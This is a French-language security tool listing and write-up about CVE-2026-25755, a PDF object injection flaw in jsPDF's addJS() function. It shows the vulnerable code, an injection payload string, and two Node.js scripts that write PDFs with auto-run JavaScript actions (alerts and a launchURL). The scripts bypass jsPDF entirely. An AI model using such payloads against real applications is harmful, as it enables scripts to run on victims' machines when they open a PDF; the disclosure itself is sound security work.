Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
jsPDF-Object-Injection — CVE-2026-25755 Une vulnérabilité critique d'injection d'objets PDF dans jsPDF permet aux attaquants d'injecter des objets PDF arbitraires via la fonction addJS(), permettant le contournement du bac à sable AcroJS et l'exécution automatique de scripts à l'ouverture des PDF. | Kitploit
Outils/GitHubGitHub/absholi7ly/jspdf-object-injection
Analyse des VulnérabilitésExploitationExploitation d'Applications WebDéveloppement de Charges Utiles
GitHubabsholi7ly/jspdf-object-injection

jsPDF-Object-Injection

CVE-2026-25755 Une vulnérabilité critique d'injection d'objets PDF dans jsPDF permet aux attaquants d'injecter des objets PDF arbitraires via la fonction addJS(), permettant le contournement du bac à sable AcroJS et l'exécution automatique de scripts à l'ouverture des PDF.

Voir le dépôt
12il y a 6 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-25755 Contournement du Sandbox jsPDF par Injection d'Objets

Vue d'ensemble

Une vulnérabilité critique d'injection d'objets PDF (CVE-2026-25755) a été découverte dans jsPDF, une bibliothèque JavaScript largement utilisée pour générer des documents PDF dans les applications côté client. La vulnérabilité existe dans la fonction addJS(), permettant aux attaquants d'injecter des objets PDF arbitraires et de contourner les restrictions du sandbox AcroJS via une désinfection inadéquate des entrées.


Cause racine

La fonction addJS() de jsPDF permet aux développeurs d'intégrer du code JavaScript dans les fichiers PDF générés. Cependant, avant la version 4.2.0, la fonction ne parvenait pas à désinfecter correctement les entrées utilisateur contenant des caractères spéciaux de syntaxe PDF.

Code vulnérable (pré-4.2.0)

root@kitploit:~
function addJS(javascript) {
    this.internal.write("/JS (" + javascript + ")");
}

Le vecteur d'injection

La fonction concatène directement les entrées utilisateur dans les flux d'objets PDF sans échappement :

  • Parenthèse ouvrante (
  • Parenthèse fermante )
  • Antislash \

Cela permet aux attaquants de fermer prématurément le contexte de chaîne JavaScript et d'injecter des objets PDF arbitraires.

Structure JavaScript PDF

root@kitploit:~
/JS (app.alert('Hello World'))

Charge utile d'injection

root@kitploit:~
const payload = ") >> /AA << /Open << /S /JavaScript /JS (app.alert('absholi7ly!')) >> >> /Dummy (";

Flux d'objets PDF

root@kitploit:~
/JS () >> /AA << /Open << /S /JavaScript /JS (app.alert('Hacked!')) >> >> /Dummy ())
     ↑
     Point d'injection - contexte de chaîne échappé

Mécanisme d'injection

ÉtapeActionRésultat
1) ferme la chaîne /JS d'origineContexte de chaîne terminé
2>> ferme l'objet PDF courantStructure d'objet brisée
3/AA << /Open << ...Nouveau dictionnaire d'action injecté
4Objets PDF arbitraires ajoutésInjection complète d'objets réalisée

Code PoC (Node.js)

Créez un fichier nommé exploit.js et écrivez ce qui suit dedans

root@kitploit:~
import fs from 'fs';

const pdf = `%PDF-1.4
1 0 obj
<</Type/Catalog/OpenAction 2 0 R/Pages 3 0 R>>
endobj
2 0 obj
<</Type/Action/S/JavaScript/JS(
app.launchURL\\('https://google.com',true\\);
)>>
endobj
3 0 obj
<</Type/Pages/Kids[4 0 R]/Count 1>>
endobj
4 0 obj
<</Type/Page/Parent 3 0 R/MediaBox[0 0 612 792]>>
endobj
xref
0 5
0000000000 65535 f 
0000000015 00000 n 
0000000092 00000 n 
0000000275 00000 n 
0000000352 00000 n 
trailer
<</Size 5/Root 1 0 R>>
startxref
431
%%EOF`;

fs.writeFileSync('exploit.pdf', pdf);

Charge utile

root@kitploit:~
import fs from 'fs';

const pdf = `%PDF-1.4
1 0 obj
<</Type/Catalog/OpenAction 2 0 R/Pages 3 0 R>>
endobj
2 0 obj
<</Type/Action/S/JavaScript/JS(app.alert\\('absholi7ly',3\\))>>
endobj
3 0 obj
<</Type/Pages/Kids[4 0 R]/Count 1>>
endobj
4 0 obj
<</Type/Page/Parent 3 0 R/MediaBox[0 0 612 792]>>
endobj
xref
0 5
0000000000 65535 f 
0000000015 00000 n 
0000000089 00000 n 
0000000172 00000 n 
0000000249 00000 n 
trailer
<</Size 5/Root 1 0 R>>
startxref
328
%%EOF`;

fs.writeFileSync('exploit.pdf', pdf);
root@kitploit:~
Exécutez node exploit.js

Résultat : Le fichier exploit.pdf a été créé dans le même dossier.

Télécharger l’outil